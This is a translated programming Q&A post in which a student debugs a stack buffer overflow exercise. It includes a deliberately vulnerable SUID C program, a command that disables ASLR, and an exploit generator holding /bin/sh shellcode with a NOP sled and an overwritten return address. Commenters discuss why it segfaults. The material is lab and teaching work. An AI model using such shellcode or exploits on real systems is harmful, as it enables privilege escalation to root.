C 为什么此缓冲区溢出攻击代码会出现分段错误

C 为什么此缓冲区溢出攻击代码会出现分段错误,c,linux,buffer-overflow,exploit,C,Linux,Buffer Overflow,Exploit,我目前正在研究缓冲区溢出漏洞利用,遇到了这样一个问题,需要我利用以下SUID程序 /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char

我目前正在研究缓冲区溢出漏洞利用,遇到了这样一个问题,需要我利用以下SUID程序

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
}
然后我切换到root帐户并在其上应用“chmod 4755”。此外,已使用命令关闭堆栈随机化

sysctl -w kernel.randomize_va_space=0
gcc -m32 -o exploit exploit.c
在根帐户下

因此,我要做的是创建一个名为“badfile”的文件,其中包含一些恶意代码,这些代码可能会使前一个程序中的缓冲区字符串溢出并造成损坏

我为创建“badfile”而编写的程序如下所示(程序的主要部分已经提供,所以我所做的只是填充缺少的部分):


运行这个编译程序后,我的工作目录中有一个文件“badfile”。然后,我运行了“stack”程序,希望调用一个根特权shell,但是我收到了一条警告,说是
分段错误(内核转储)
,我无法找出失败的原因。希望你们能帮我。提前谢谢

可能其中一个编译器
堆栈签入仍然有效。看看gcc人的“分段错误”,它不是一个失败。当用户程序执行非法操作时,这是系统的正常和可取行为。Root privileged shell是一个失败。@n.m.请原谅我用词不当,谢谢你的澄清。有没有想过如何处理这个分割错误?是的!说“谢谢鲍勃,我的系统工作正常”。你已经学会了某种技能,比如说如何闯入一个没有上锁的房间(不是太难)。现在,当房间被锁上时,这不是一项非常有用的技能,是吗?继续学习如何选择高安全性的锁,这对我来说有点太隐喻了。你是说我应该离开它继续前进?不管怎样,这是一种我可以让程序按我的预期工作的方式吗?
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here */

    /* I tested and found out that the stack on my machine always start at
     approximately 0xffffd11b, so here I set the 28th,29th,30th and 31st 
     entries of this buffer string to be an address that is slightly larger 
     than 0xffffd11b, say 0xffffd130 */
    buffer[31]=0xff;
    buffer[30]=0xff;
    buffer[29]=0xd1;
    buffer[28]=0x30;
    /* Then I copy the shell code contained in the 'shellcode' string and
     place it somewhere far behind, so that when I run the 'stack' program, it 
    will execute the bof function, return to the address of 0xffd130, and then 
    go though some NOP, and eventually hit this shell code. */
    size_t count = 0;
    for (count = 0; count != (sizeof(shellcode)-1); ++count)
    {
        buffer[200+count] = shellcode[count];
    }

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
gcc -m32 -o exploit exploit.c